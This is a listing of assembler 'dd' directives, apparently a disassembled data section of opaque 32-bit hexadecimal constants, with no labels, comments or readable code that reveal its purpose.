		dd 0AF86579Ah, 202B63Fh, 0AB272D23h, 435460CBh,	6A6E0052h
		dd 7F38AD80h, 0D4008AB5h, 0ABBBA4EBh, 383376Ch,	67A646D9h
		dd 0C9F0FA88h, 3F79F679h, 1AF37A0Eh, 0BD2500A2h, 0FF6320h
		dd 0DC7CCD9Dh, 0CF6DD511h, 0DE516200h, 0E499DD19h, 80A4AFh
		dd 3B0DBE47h, 8E41ABB2h, 0E3A18C00h, 0AA4986E5h, 4F160010h
		dd 0AE6F2537h, 0F809B744h, 171DAE1h, 39EEFC3Ch,	1E75B5D4h
		dd 8BE3DFh, 54AB0F3Bh, 0D400B817h, 126DE051h, 7F830E4Eh
		dd 919D0049h, 0A264BC1Bh, 0CF007737h, 0B3C71ED4h, 8603BBh
		dd 926813F1h, 0B5C3C136h, 7A5F1100h, 176C23E6h,	0D373FDh
		dd 7C36BC1Ch, 0A28B142Ah, 0E3B8CA01h, 4D4641A5h, 88C8807Fh
		dd 9EA0B54Ah, 5F004552h, 0FA64C7AFh, 1CA4BADh, 0C97F2E61h
		dd 71D63C53h, 0AFF4000Fh, 0C20072C8h, 0F31BC6E0h, 8BE2B3h
		dd 26C7AEC0h, 7DF0BB9Eh, 0E72A613h, 68952500h, 5C2014h
		dd 0A0E8EED1h, 0C58A19A2h, 534FD00Eh, 0F4FDCA4Eh, 8757E300h
		dd 7CA14Bh, 0ED9AA3E7h,	5A3E6BCDh, 6D4C307h, 0BE803D54h
		dd 90795778h, 0F8AE01D1h, 0AF269758h, 2C3115h, 9B6D3282h
		dd 2A191D0Fh, 953EA2DFh, 7BB461D3h, 1790E4h, 4859DCA0h
		dd 96BB7883h, 0B3B61100h, 40B48497h, 0CCFC00BDh, 9AE2D37Bh
		dd 0C848E49Dh, 8709002Ah, 0C076F9D4h, 745F1F5Eh, 0F7B7C0EBh
		dd 0E1A2CA36h, 51AB9C00h, 6CB02F5Dh, 40D14821h,	0EAB31001h
		dd 60439B63h, 0AD30BC1Fh, 81328F0h, 6EF90081h, 0D4348BBEh
		dd 8F00C845h, 0A4D85A87h, 3A66E5h, 68E6C8Ah, 0E1A672F3h
		dd 5FFB201h, 0E47D35C4h, 0C25C489Ch, 6B633C8Bh,	624EB8C8h
		dd 0F4326100h, 3A95403Dh, 0D88000B4h, 26075DDEh, 0C3003E67h
		dd 18AEE145h, 1E193FBDh, 0E8AD51B2h, 469A1FE4h,	7791C6ACh
		dd 0BC00F805h, 0ABAAB54Dh, 0C5CC37Bh, 1BFE268Fh, 4E00B170h
		dd 3B1A6103h, 0A5BA72h,	706F194Ch, 0B6B53F39h, 6D07760Fh
		dd 0A3EDA00Ch, 0C05A8Bh, 0E8AAD2C6h, 0DF5D869Eh, 0A8FC6004h
		dd 0B0815677h, 0DAD574EBh, 0CF180DBh, 76A70341h, 0FDDFB89h
		dd 62244390h, 0BA31C13h, 124DF400h, 67D23DBFh, 0C07721A9h
		dd 61C52524h, 0AF101900h, 522FACB4h, 0A1C91FBFh, 470F96EAh
		dd 80F98E64h, 0BA5389B3h, 77A3FE00h, 823195F0h,	8C360AE1h
		dd 3E84EB78h, 9022CA1Dh, 90CF0294h, 51D528Bh, 5700EB25h
		dd 46BBA29Eh, 5D3F0079h, 0A36E14ABh, 0D9007A41h, 0E910992Bh
		dd 1F476A64h, 0CA494C03h, 3D86725h, 98330B0Ah, 5DB89E93h
		dd 84A1E817h, 0F1C1F8B6h, 0AA404900h, 66044DA5h, 0BF090083h
		dd 0C9E18EF6h, 2A24B819h, 491E0048h, 0B44EC440h, 0F0C08CE5h
		dd 0E460234h, 52E76B92h, 2A89B0E8h, 0CED79900h,	0E9A465CBh
		dd 56782A97h, 8EBD5CA0h, 7C86D900h, 0CCF0B9D0h,	989AB800h
		dd 3B892166h, 64FA0779h, 300216BFh, 0F019CF22h,	1E831A00h
		dd 7098019Ah, 0B68600F3h, 0D1EB3044h, 0E21262D3h, 0F00999F5h
		dd 746D01C5h, 0C0EA07D6h, 0B0DA59F9h, 0D53C0F4Ah, 0A26E6272h
		dd 0FF4D7D60h, 1800CCC7h, 0AD92A11Dh, 4C9B1954h, 36049082h
		dd 8116A713h, 576D6404h, 5083B7A4h, 8DC7378h, 0B431752Ah
		dd 0CE566500h, 427935D9h, 11AE005Eh, 7E4DA4AAh,	0A9005B41h
		dd 8BFD6432h, 0B0A1C28Fh, 12F898A0h, 20E480E5h,	5F751AACh
		dd 0E9DE0B01h, 0DF2F8D9Ch, 1E2954C0h, 0A7A88C3Bh, 72135BC0h
		dd 20C45A01h, 2BB522A9h, 0E797D8h, 0E549CF69h, 0D80C2F6Ah
		dd 6FDE4500h, 94557B18h, 0D49E00A3h, 704C7E92h,	970398ACh
		dd 0DFDC1276h, 0B3F2C015h, 6968009Fh, 0F9FDCCD5h, 8801A3A6h
		dd 2BD20EC3h, 1FD8CE61h, 54F41C2Eh, 0D8AE815Bh,	20B54F82h
		dd 6EFC9310h, 0BA04567Fh, 596A6712h, 0BB8180C0h, 4F520041h
		dd 963A9917h, 0F8B51022h, 2CA8025Dh, 1401FD78h,	4850C842h
		dd 0C7E3CF02h, 60F3DE77h, 2C738FE4h, 83B993h, 955E4CCAh
		dd 35F530A2h, 41FE03Ch,	0A000107Ah, 270AD5D9h, 988922C3h
		dd 20FAD0h, 5F969A72h, 0D8612C98h, 0A1E97900h, 995DF5A7h
		dd 0EAC200C6h, 9F4FCDA2h, 8601F012h, 9D4C83BBh,	36DC6B1Bh
		dd 0B7F700DFh, 8518948Fh, 303D6EFh, 0C9740B7Dh,	50E8A9C4h
		dd 97CD9FCh, 15C7BC19h,	72862080h, 3460C0B5h, 7052B240h
		dd 3AC200BFh, 0C77FE2AEh, 0D7011ACAh, 8429271Eh, 6EC4C1D8h
		dd 16280203h, 8ACCEF99h, 47EE7860h, 0FBC64607h,	0DE5091B4h
		dd 49F1BBB8h, 6E17BC68h, 8B4C00AFh, 93702DBCh, 57DFE503h
		dd 0F165F75Ah, 0B0A8F8B0h, 906A0018h, 0D93FEAA6h, 0F200AEF1h
		dd 55B4276Bh, 5D562DBh,	8CA79F2Fh, 0FCEC05B6h, 79609043h
		dd 0ACA0A878h, 2B00290Bh, 7C775270h, 993BF6h, 64D1CF3Ch
		dd 0B71A8EBDh, 160164Ch, 50A74C08h, 8C3475B3h, 0DCB00C68h
		dd 0C41169CFh, 744AC500h, 390A6E8Dh, 9E2F685h, 45CE515Bh
		dd 0C9EB1CA0h, 0D1008784h, 48BBA70Ah, 92189D15h, 47D0000h
		dd 9CA5096h, 0EE006129h, 0CDFFFD58h, 0F0F804Eh,	86348537h
		dd 46D4BF20h, 0D30F365Ch, 6048F59Bh, 7DD69E1Bh,	6C75CBh
		dd 0AE65CC64h, 5A2ACFB7h, 7457B4Ch, 492EA277h, 4F96DF20h
		dd 0E08E0181h, 0E34EB043h, 0D481E773h, 0C1D0879Ah, 2320D1B9h
		dd 0CCDABAh, 676A0B3Bh,	5CDB5488h, 0BF292C67h, 8C5D0C40h
		dd 18A79049h, 0D089A1E2h, 0F4F0C341h, 75E729C0h, 268A62B6h
		dd 39E409C8h, 875BB58Ch, 36009710h, 0A6305F74h,	0D57ECCh
		dd 3917FF4Ah, 530EF263h, 12216A0Fh, 0B39206CBh,	0DE8B0060h
		dd 0CEF5885Ch, 0A801A51Fh, 0E174C425h, 0C43161C8h, 7881B800h
		dd 4481DDCh, 0CB840087h, 30F371E7h, 4E601016h, 1051CFEh
		dd 0D0C8C0E2h, 6EC06E97h, 1B5A54Ch, 3614FB4Bh, 0E0F67A0Fh
		dd 0F000A9D3h, 0E999EBFEh, 0E2DED05Ch, 0A19B001Eh, 0C1AB7768h
		dd 0B13FBC17h, 485D80FDh, 0BBCF3F45h, 9C7049h, 2EADA823h
		dd 1A37154Fh, 0FD52E207h, 0DD907BFBh, 26D1D897h, 9E1F29h
		dd 0A86FECDh, 0AE008E7Fh, 9530CCACh, 5CEEEh, 0D0428345h
		dd 574FE0F5h, 7C813B2Ch, 39230C00h, 795DD70h, 83566F05h
		dd 6A803E13h, 674981E3h, 713C9602h, 0C0D52F84h,	0D6C4DCh
		dd 0C98D98C8h, 31F7A8F6h, 80CD2800h, 0B85729F0h, 90694816h
		dd 6A3BFD04h, 0E734F086h, 5C771800h, 74A3ABB2h,	53B10ACAh
		dd 0F89E54h, 0C30ABAE6h, 66030E6Bh, 0CCD21C4Dh,	19348851h
		dd 0C8655DEFh, 0AE00F222h, 0D2A32E57h, 9E186E11h, 3AE50184h
		dd 0F4EB68EFh, 12027257h, 0CB10E42Eh, 0A07039h,	0F0F88796h
		dd 4DB16B11h, 0C34E4828h
		dd 858E2809h, 7D906015h, 0B95360BFh, 5F03EBE6h,	9A97B302h
		dd 0E8E89511h, 0BF2494h, 6EE520FFh, 16843D39h, 0A82B0D01h
		dd 7D1C08E3h, 49901F7h,	0A56A2049h, 3000358Fh, 9700522Fh
		dd 312155B9h, 0F8DB69h,	2B650A2Dh, 0AE617668h, 11801A16h
		dd 0D9C800EAh, 0F8BA0D88h, 7ACCE404h, 6C8008D1h, 659DF8Ah
		dd 0E8A72D7Bh, 0CB0561D0h, 89909A51h, 55E09C40h, 400E11h
		dd 67DF6A1Ah, 0B9653BABh, 202D6825h, 1CEFE204h,	2149480h
		dd 63C272D0h, 0AB08F4C0h, 0A7003C70h, 0F4167518h, 48684E66h
		dd 0A5020790h, 9EF21FE0h, 0FC621061h, 0B600BCC0h, 0B712D7C4h
		dd 67E752E4h, 32E2B098h, 0C6605C6Ah, 0BA0038B9h, 0DAC53D88h
		dd 0A02370D9h, 4B76C4h,	64B34AA2h, 8831E4B2h, 8BAFBC00h
		dd 0EE36D86h, 0C3EB133Ah, 0C1CC0045h, 96B3354Dh, 63401B00h
		dd 0DE657DECh, 0FDFF002Dh, 0C2553761h, 700B697h, 17CDE830h
		dd 38014h, 86944C27h, 1EDA29A3h, 1C92ECABh, 8DCBE46Bh
		dd 362466B0h, 4B567609h, 0AEA080F1h, 0AF17ABh, 0E1B1A613h
		dd 590DD418h, 841CCB00h, 0C0692462h, 0BE032E71h, 0AE1365h
		dd 8B36F808h, 230098CCh, 4A69ABC5h, 0D0A2F302h,	5C0C8421h
		dd 0DA114F89h, 0EC69B000h, 9E9DF5E0h, 0E454009Fh, 86CA59FDh
		dd 4C007019h, 2322F0DDh, 0E6F94F24h, 9E5E895h, 0D5BEB766h
		dd 9FE1B8E0h, 0EDAEA300h, 200EA2F6h, 0AC4800BFh, 3E37E616h
		dd 0AB00B059h, 3290A645h, 2A19201Eh, 0C088A2A5h, 0E778772Ch
		dd 4B0086F7h, 666246AEh, 0EA8AD021h, 0DB200197h, 30CBC7ACh
		dd 4E86CC91h, 88AF5E00h, 0E055BA56h, 62ED0046h,	26F8336Ah
		dd 0CA000478h, 501712C1h, 3CC4EB15h, 0F1964C1Ah, 3870D382h
		dd 71CD9ED1h, 403240E4h, 62486AA4h, 403AC8C4h, 0AD28EF30h
		dd 662FBF16h, 4CD7904Eh, 3F780A8h, 22D98B68h, 0AF898FDh
		dd 8E30C42Fh, 905EDCF0h, 0B4A60365h, 3B7F5A02h,	0F811F901h
		dd 24DB8D68h, 92B2EC34h, 0EFB10194h, 684C366Eh,	3F4261Ch
		dd 3AD079F4h, 7C19F88Ah, 990104F1h, 8032BF38h, 495D1324h
		dd 0FED87700h, 0F7482BA8h, 0A4CE3941h, 86DF6301h, 0F3DEE42Dh
		dd 0E4787982h, 87199D00h, 0E9B0C5C6h, 7DCE0090h, 3D5EC175h
		dd 8124D595h, 9C283BF0h, 0B4508D2Ah, 85260938h,	36D9C5D0h
		dd 9C7632C0h, 30740091h, 0E06A1FB4h, 2400D3B0h,	0B95A8F20h
		dd 0A01CDBA0h, 553AA3h,	8389037Dh, 72F3FBC3h, 8C2D112Ah
		dd 75480C07h, 0D0B0E276h, 0B06299F7h, 8598E5h, 5D51E3DAh
		dd 2C0144CBh, 10953402h, 49DEF287h, 0A1800FA8h,	918ACE3h
		dd 6E001D0Bh, 5819A905h, 2AF8814Bh, 71A8212Ch, 0CD7578h
		dd 0A6BC0B82h, 0DD1F4533h, 0F57C5A00h, 52BA02B5h, 803813F7h
		dd 0BB7C029Bh, 3240F235h, 7309A762h, 8C6C64h, 0E35A9208h
		dd 0BBBC00F3h, 2BCFC71Ch, 615CC2DDh, 39F278A4h,	0EE747504h
		dd 2CC01397h, 0BE5D86E8h, 0D64F8010h, 64939FC6h, 2CD9A91Eh
		dd 796AE980h, 78753D10h, 5B1D0020h, 359232C3h, 6498E666h
		dd 378F3Eh, 633DECDAh, 1D139D11h, 89C997BCh, 5E81545Ch
		dd 6C4F88C1h, 0E823EF00h, 764DA301h, 20E05953h,	80D49EBDh
		dd 24602879h, 0D90C5B89h, 16E2E0FBh, 29CB00F6h,	9E647CA9h
		dd 0A248EBDh, 1E0BBC40h, 0BF286918h, 93409FCh, 6EF368BCh
		dd 8E3DD040h, 8260D7FAh, 89B23911h, 6E57260Ah, 211900A4h
		dd 0E938387h, 459B4A00h, 47623D6h, 810C00DAh, 60D58F92h
		dd 26013746h, 8AD4D702h, 0B0DFAF39h, 0FC2FEA80h, 4A01005Bh
		dd 0C6B16622h, 513D14F5h, 0E3671F1Bh, 44C95D43h, 0D750D710h
		dd 0C408E8h, 2CAF1C47h,	8D03194Fh, 94C64607h, 0EF208E1Dh
		dd 58996C95h, 4D39B98Ah, 0F01BEB18h, 0D200BE9Ah, 167B572Fh
		dd 10C962Eh, 6A6D51DCh,	0EC9B3BEDh, 0D1725346h,	0A4087002h
		dd 0A0653885h, 60EB9DE0h, 163008Dh, 7FD23B12h, 90008EE7h
		dd 0CE94A246h, 0C0351022h, 9AA33630h, 317C2DF7h, 6690DF03h
		dd 881346A5h, 2458D784h, 1780260h, 7B3BC65Bh, 5EA8436Bh
		dd 75D441C7h, 77043607h, 0A32D4301h, 0E2BFA4Eh,	19001438h
		dd 0E0582A97h, 81E1479h, 471E40C1h, 61E95A00h, 0E12C65Dh
		dd 0E3E5B5D5h, 0AFFCC0A1h, 0F57BDCCDh, 620B640Eh, 4F15C01Ch
		dd 423374h, 8512EC0Fh, 530ACF1Bh, 0DFFFDA09h, 9C1C8713h
		dd 0DAD2BAC3h, 20D8DEh,	5DD0042Bh, 9F1EC6D9h, 0D6BE1D00h
		dd 0F72120E1h, 69F600B6h, 26258CB1h, 0F10073FAh, 24C58B6Ah
		dd 1A88A77h, 453EB6E6h,	2CD9084Dh, 0B1A80D8h, 4C69893Ch
		dd 2F1FFE47h, 0C440C008h, 0CAFA4BCFh, 685C900h,	24440C0Ah
		dd 9DAB0558h, 0C15530F0h, 2090C810h, 14000FD3h,	995E2C0Ch
		dd 7640B6D9h, 945400A1h, 62763B17h, 421ED3DBh, 93FC1521h
		dd 351CAE8Eh, 0ABC7Bh, 6124142Fh, 0E07893E9h, 39A0096Ah
		dd 54488931h, 9E0FB8ECh, 4362362Dh, 0AA40F8B7h,	61C0401Dh
		dd 4B9400A8h, 0B8E6B189h, 78B215D3h, 69747659h,	32748079h
		dd 3CFCB1Fh, 0BB430EF1h, 80BB71ACh, 0BD0D4880h,	0C814C278h
		dd 0CD31D87h, 117DABBCh, 87F49h, 790174DDh, 0B8762FEEh
		dd 9196FA0Ch, 13937122h, 5F0714Ah, 9049D2B2h, 1A75CA04h
		dd 42599000h, 7CF1C692h, 10D6549Bh, 3798171h, 641BF9Dh
		dd 9E0139E7h, 13108141h, 9C183B7Ch, 0D4992080h,	6C613249h
		dd 5A0B2977h, 8C7FCA11h, 834805h, 0E6EDF0DEh, 0FA4F328Bh
		dd 4CF1BF2Bh, 70DF5D10h, 6D9EAE58h, 5C9A1F7Ch, 49D8990Fh
		dd 21C01F9Dh, 84BF7573h, 0B8040185h, 0A6D22C7Bh, 12D6C83Dh
		dd 14A02B60h, 58EEF4h, 0F139EC92h, 0F7F6760Fh, 55458007h
		dd 3156E18Dh, 9FFC0318h, 20622EEDh, 5B3248E0h, 2C3091F2h
		dd 0F63D2072h, 730941Ah, 0F38B438Dh, 3009736Fh,	3CFBDA9h
		dd 0AF8E94A9h, 1018DBBEh, 7C436E40h, 6AF083EAh,	4FB143Ch
		dd 8447C8CAh, 0C9C90512h, 91DC4012h, 21298D6Fh,	0B4443EF6h
		dd 211367C2h, 9F899CF6h, 5156E130h, 188DE93Bh, 0D14C6801h
		dd 1B0335CFh, 25192028h, 1241B690h, 0B6A9ED8h, 0DC639A43h
		dd 354395E0h, 0F89092EEh, 8B278D18h, 2C349A98h,	1A89E47Eh
		dd 600060EEh, 363E8525h, 185AE600h, 0EEF1074Fh,	0BC728Fh
		dd 0EB03A10Eh, 2BBFD01Dh, 246CC31Dh, 0C2A34FC0h, 3018E01Ah
		dd 0FC82550Dh, 60DD4623h, 88D966DBh, 2A93F69Ch,	6847D9Fh
		dd 86E94ABBh, 75072113h, 9EB15922h, 961A42F0h, 4C08CC09h
		dd 3A005421h, 4F8A2D59h, 7E01527h, 9255992Ch, 1C90FAD4h
		dd 1388E8EDh, 0CDB9FF0h, 0B820200Bh, 49802941h,	0AC1BD715h
		dd 11D64A40h, 8B59F500h, 19FA32F0h, 8E7C811h, 0A621A466h
		dd 7D01591Fh, 7F3D1D2Ah, 53BD1980h, 0E53974FDh,	5DD14C00h
		dd 0D943E7B6h, 7AC00032h, 9983F6C8h, 80C02C80h,	0CAC78527h
		dd 9B80A04Ah, 3167F0A0h, 3D105E91h, 0B9599F7Dh,	0A32BAE8Fh
		dd 0C095F313h, 2A5FD2h,	3E61E79Eh, 0C8DE52CDh, 0E01BD428h
		dd 603CB430h, 815332h, 6C53E24h, 5A7C99ECh, 8E3F4600h
		dd 7AE60F4Ah, 0A26D1C12h, 16070747h, 41925033h,	0ED0E9ADAh
		dd 0A3E72FB0h, 0E012CE35h, 0E5C320h, 0AD43413Dh, 8CF09F94h
		dd 0B066CF1Eh, 328EFCC0h, 3C65CCh, 0F6D97E09h, 5F02ACA1h
		dd 8D82ED03h, 0A8D32F25h, 77BB30E2h, 1F8778E9h,	47E61Ah
		dd 765EA317h, 0F3073FD9h, 0A1ADC6A5h, 96836187h, 9316C8FBh
		dd 75DC00C9h, 0C70D800Bh
		dd 5200708Fh, 0FD9C21C5h, 3015494Bh, 0D938BB71h, 39F49EC8h
		dd 8BCEB100h, 0F66BDDA8h, 0EEE900D4h, 0F0C05C90h, 2F0FA159h
		dd 0E035F7CCh, 0E07509Eh, 2762007Eh, 3471729Ch,	0CE030401h
		dd 9926BC3Fh, 0B28A8D7h, 0A76F07D0h, 315C8F39h,	6077EDB6h
		dd 3130D6A2h, 0CF680B0h, 84DA50CDh, 64EA00FBh, 9A67085h
		dd 56347AF2h, 0BC00A9B8h, 9DE94F0Ch, 8468C059h,	28B5C9Bh
		dd 5F636500h, 834E4344h, 0DF420136h, 726C205Dh,	0C4F4CD7Ah
		dd 7D3AF882h, 0F6C900CBh, 0BC8AADEEh, 65B3030Fh, 66DB87D2h
		dd 210E9BA3h, 808A958Bh, 84507BB9h, 0C36B0136h,	657A169Dh
		dd 0A3CBC0EFh, 89C8FD00h, 87E17486h, 22F41B92h,	702340A0h
		dd 8AAB01FAh, 18E31292h, 0D38D8823h, 6A7E8F00h,	0C42B6E94h
		dd 8847004Dh, 0CFD69FE5h, 7C0C0540h, 308025FAh,	9E8203CEh
		dd 0D8087B9Bh, 0A03E24EBh, 22D10CE0h, 0CC920EAh, 0F443E296h
		dd 0C5196734h, 0D008C165h, 57A52180h, 0A8F8F343h, 29022A76h
		dd 74380884h, 0D0288427h, 2CA03066h, 28AE66F1h,	4350B41Fh
		dd 0E4733100h, 35B3616Fh, 80B1B73Ch, 0A58BBEE9h, 0CB2C1F1Fh
		dd 5CC2813Ah, 255B7093h, 3BE648C4h, 128AC9A4h, 0B46786h
		dd 7462891Bh, 34E8BF2Bh, 49170500h, 0FE6C6AF6h,	5F660094h
		dd 0DB0E4C83h, 54003A92h, 7EDAA4A6h, 3CB34AF0h,	0FE00EC86h
		dd 3020FB18h, 981F7836h, 0F50141C0h, 46EE720Bh,	126934FCh
		dd 4D8BF1h, 0D4EAFE44h,	4C00B24Ah, 0B9DEFAA4h, 0E92EB3h
		dd 28AF0A45h, 1E6359CBh, 0ED237D1Ch, 0F795EA80h, 0E6029410h
		dd 2AE000F3h, 9B9F8666h, 2538658Ch, 0B00F6D5h, 0DC57568Ah
		dd 196B30h, 0D6A5BB9h, 0FF8481F6h, 0FA728900h, 8C65919Eh
		dd 52A0001Bh, 1C027722h, 893A0BC1h, 7F3860FFh, 1A327D0h
		dd 39A4A011h, 8F722EBDh, 3D257C18h, 7C666033h, 52F10B09h
		dd 1A8EE8ABh, 0D6784020h, 3E00801Ah, 2F78107h, 352BAAEh
		dd 0F8F869Eh, 1926F3CEh, 240011DEh, 0BA6791BDh,	18846183h
		dd 0D44129A6h, 4458496Fh, 33530073h, 61EFAFEh, 9CCE007Dh
		dd 4A7615B8h, 89C02FD3h, 0E70E2BB1h, 0CBA2008Bh, 977DE6E4h
		dd 0A5047B95h, 0F8BC241Eh, 79B8E0C0h, 0C10C6125h, 0D35BAE76h
		dd 0C6A6581Ch, 4D0818B0h, 3DEA1C2Fh, 525D09B0h,	0B9655F80h
		dd 6C3AFEDDh, 8B8D80F0h, 1FF31E83h, 4E1C00A3h, 8943C680h
		dd 2200CA0Ch, 0FF7761BEh, 0E090456Dh, 571F0504h, 5DC862h
		dd 423001AAh, 0A83AC164h, 0E6D3E0Eh, 672769A6h,	8710EB35h
		dd 716E3F55h, 0F31B0745h, 80D590B8h, 56357853h,	0E6DD0200h
		dd 0C0C69B8Fh, 0A4B90027h, 0C2534210h, 4B00AFEBh, 0C858328Bh
		dd 35BD0CDh, 4F10280Eh,	19003DB2h, 0EDE82EDDh, 1DEB0B8Ch
		dd 5B8446h, 4DCBB815h, 9603F99Eh, 88AD3BB7h, 0D5C80055h
		dd 78D6678Fh, 0E81E384Ch, 17805A66h, 0C515C0AAh, 3E903828h
		dd 13C4724h, 7255D404h,	0C868EC61h, 6ED7B903h, 7B32A3B5h
		dd 0D93B00D8h, 0C9CAD242h, 8873F1B7h, 11BC69C0h, 0B2200Dh
		dd 1F82B167h, 9FEAAA4Fh, 747BA5Ch, 6F01E325h, 0D03BCCCEh
		dd 0D6113070h, 0BF3D3158h, 82573Ch, 5387BCC6h, 16F64762h
		dd 0AB1D2Fh, 0C941EEBDh, 49039064h, 0DD2A2909h,	27BCD04Ch
		dd 47650597h, 0C04BB901h, 2A8BF001h, 8AC2531h, 0FBEBE0h
		dd 9ED25410h, 0B8D8E716h, 0C40B111Fh, 908737C1h, 0E5F04EBCh
		dd 542E0CE8h, 3C2952C6h, 0F3AB1444h, 11F0C311h,	60125A07h
		dd 89FB9710h, 101A109Fh, 0D9E2B3h, 0B55074D0h, 604BE5EBh
		dd 0F978AC00h, 1117281Eh, 1ADA00BCh, 52CC51F2h,	0CE1E66A1h
		dd 7F009B60h, 0C7D26D23h, 3077E8h, 5BCF919h, 0F34EB1E5h
		dd 0E3F16C60h, 1C03C98Fh, 0C083C32Fh, 38DDF565h, 8DFA2473h
		dd 9300BDE8h, 0CFD06852h, 0FADFD9h, 1C7EC986h, 19C6362Fh
		dd 0CB11201h, 2213D224h, 3D3C4FFCh, 920374DCh, 716F5AA7h
		dd 804C87F7h, 0A8330E9h, 5B3B1601h, 0B1CAC4AFh,	9047183Ah
		dd 1400DE38h, 9D2403AEh, 0E33311h, 0D006100Ah, 0D66F6945h
		dd 11CC479h, 0B687D2B1h, 0A0606529h, 76AAAB9h, 739AAD8Ah
		dd 2A4D30B8h, 0DF8B5C0h, 45004CFCh, 8949B686h, 7C379C7h
		dd 0EACA6D61h, 0C904C0A1h, 0E0005C14h, 0E2BE52D5h, 312F41h
		dd 547759B4h, 0CFAFAEC5h, 3745E501h, 112035BBh,	31F9460h
		dd 0D25B1A66h, 5A10834h, 0EB282161h, 5FC153A0h,	0B007C200h
		dd 4B260F2Eh, 70AF69Fh,	8F2915BFh, 0F0289785h, 0D904BC54h
		dd 97EAA900h, 39B553B3h, 0A4EF0ECFh, 4A600A9Eh,	30D89D4Ch
		dd 0B2406D14h, 376880DCh, 288AE40Eh, 0F0BCEB3Bh, 0F23539FBh
		dd 3A666400h, 5F77E70Fh, 75864E00h, 0F15E13E3h,	4EB00Eh
		dd 166DA68Ah, 0B26974D7h, 96EE3300h, 8065F864h,	0DA3500A1h
		dd 27EA7F21h, 29091C98h, 35BA6BCh, 900C6D6Fh, 0A5971Dh
		dd 7AB06E9Fh, 3B163BAh,	0D43A7F00h, 3581FEF7h, 0AA921621h
		dd 0D3CC00EBh, 0F9BA6463h, 26A2891Ch, 0EF009DE4h, 0DC417335h
		dd 0FB080040h, 0FC75B51Bh, 38008286h, 15DF60C8h, 4F450Bh
		dd 4718686Fh, 0E93CCA09h, 31B75400h, 0ACE0DD9Bh, 0FF7FA5h
		dd 0B248A1FCh, 0AF8D41D3h, 0F0CA01Dh, 9EC4DB9Eh, 3891CEB1h
		dd 50DC0BA4h, 0D4DA0099h, 0EB012856h, 0D7004B5Eh, 0C95440Dh
		dd 1F9B35h, 16DFFF69h, 0E1AF9A4Fh, 584DEB00h, 0D1614859h
		dd 40420E35h, 0D580B376h, 0CFD305D4h, 1BAAA807h, 5D604C6Ch
		dd 2B252Fh, 4BB0B82Ch, 6E69C5C0h, 0C99AF300h, 0ED24F727h
		dd 5F726Ch, 0F5AAA4CBh,	18A08205h, 23C6F900h, 98DC4DB2h
		dd 34A30049h, 4F6AA09h,	0F43A81E1h, 0B80580EDh,	26C9DA3Dh
		dd 7FE66Fh, 41F392F0h, 5FB26B36h, 5CF66DB8h, 0A1063701h
		dd 0D18B4564h, 0B4F4E4h, 0FC0A88D2h, 1DA8F28Ch,	8E97DE07h
		dd 75D0F622h, 78548Fh, 0C8538DCBh, 0D51EFE52h, 19884600h
		dd 3702C26Ch, 0B45A0315h, 39FD5F01h, 13F7ECE8h,	0DFF32007h
		dd 0DD9090ABh, 50B1C7B8h, 3BCCCh, 17C5D4FEh, 83E45492h
		dd 0C6749C90h, 7D6D3700h, 0F9E63BE0h, 2A6A03FBh, 39EE7FCBh
		dd 2C7675C0h, 3D01A700h, 986E6038h, 1955007Dh, 5F124330h
		dd 570173CBh, 5EEA1347h, 0B1009958h, 88850C02h,	0C4033867h
		dd 0A8698909h, 24F92C2Eh, 2A879764h, 7A817EE8h,	0A4020222h
		dd 4CE81ACBh, 0D8C6E480h, 0CC01296Fh, 0B94437E7h, 0AD438334h
		dd 0E50BA815h, 75A8909Fh, 5AAE00F7h, 4ECB8D76h,	3E69E4Fh
		dd 3629F101h, 2584577Fh, 0F824BEB9h, 156B0067h,	8A771B35h
		dd 14002DFAh, 7280881Ah, 3C3EC4A7h, 0F207842Ch,	0F0202642h
		dd 0E10801DEh, 8569DF0Bh, 0FE4AE0BAh, 0F35501A6h, 0FAA883FFh
		dd 107C2080h, 666D7700h, 0C35426F0h, 45CD0064h,	89241BB2h
		dd 7F002DB7h, 0EF23A001h, 0C52E96h, 493CB8C4h, 4863879Fh
		dd 3E1BCC00h, 0F3B66D67h, 14BB2044h, 9509B708h,	0F468E0A8h
		dd 720077C2h, 6222838Eh, 0A0F01DC6h, 3EA13CBCh,	2089A207h
		dd 7C006A0Bh, 11D22C84h, 0AA735409h, 0FACE00F9h, 0FC4A6Eh
		dd 0FEBECCFh, 2DBBAB50h, 0BAD08A00h, 0DB9A9469h, 61D51EE5h
		dd 1EEDF55h, 0C8F451FDh, 0CD09E03Fh, 768BD3Fh, 159DD703h
		dd 189F3CA0h, 76DD00DAh, 0B0C3B78Fh, 3A3F8D0Dh,	0E9FC8304h
		dd 0F8B53280h, 6177A2h,	974E620h, 0CD174F7Ah, 0B1012CE8h
		dd 27D1AEE2h, 1CC4C5C3h, 0D5D401A3h, 0E31579FDh, 122C7454h
		dd 7C5DDF00h, 21E6ED75h
		dd 0ABAE00F6h, 0E934FBEAh, 0B800F17Fh, 59A7D7FDh, 0F0ECCCh
		dd 0E5077453h, 991F7D4Ch, 0C93EC707h, 56435ADDh, 8234D018h
		dd 3FE006Dh, 1D89A238h,	0E70405E0h, 0DED10D39h,	9BA0A787h
		dd 0E654B6h, 7BA31184h,	2115192Eh, 2866714Ch, 9F00FD9Eh
		dd 58DC6408h, 1C579075h, 367F0Fh, 44C538A5h, 0D971773Fh
		dd 3BC96A00h, 9C0402B4h, 25730092h, 0A46EF572h,	1500CECDh
		dd 0F9B45228h, 3410F1h,	1F60FB7Ah, 7AC772Eh, 303DAD00h
		dd 7E4F75B4h, 0FE5F07Fh, 0DBEA03BBh, 8D839FE0h,	18C07CEBh
		dd 0E2A29D4Dh, 3B2007AFh, 3EE4D104h, 161140D8h,	213103Ah
		dd 6B734776h, 0A4E9E0FDh, 5DE80746h, 707E4B06h,	6CCA0432h
		dd 66398567h, 0BF602140h, 23C7000Fh, 0D71CDC5Dh, 0FD0E5ADBh
		dd 0C075E459h, 316DFCB2h, 6E2307F3h, 610AD8A7h,	0D85AE2CEh
		dd 2948E7C2h, 11C41CA4h, 0FAA47040h, 6048EFB4h,	0F7AE782Ah
		dd 0B500E4EDh, 0BF3B66A3h, 0C6424Ch, 9274F2FEh,	0B723CB85h
		dd 62AFE500h, 72B99334h, 0A2801212h, 0F3A40F4Fh, 900489A5h
		dd 9BD94A98h, 9E2BCA0Ah, 1080BC32h, 2F6A7EF6h, 0FAD80367h
		dd 0BA2A2C9Bh, 294B05E0h, 0C65EA003h, 0F02735E1h, 1790B08h
		dd 0C471FF54h, 0C8617B60h, 5F001AB6h, 0CB9392F9h, 75945Ch
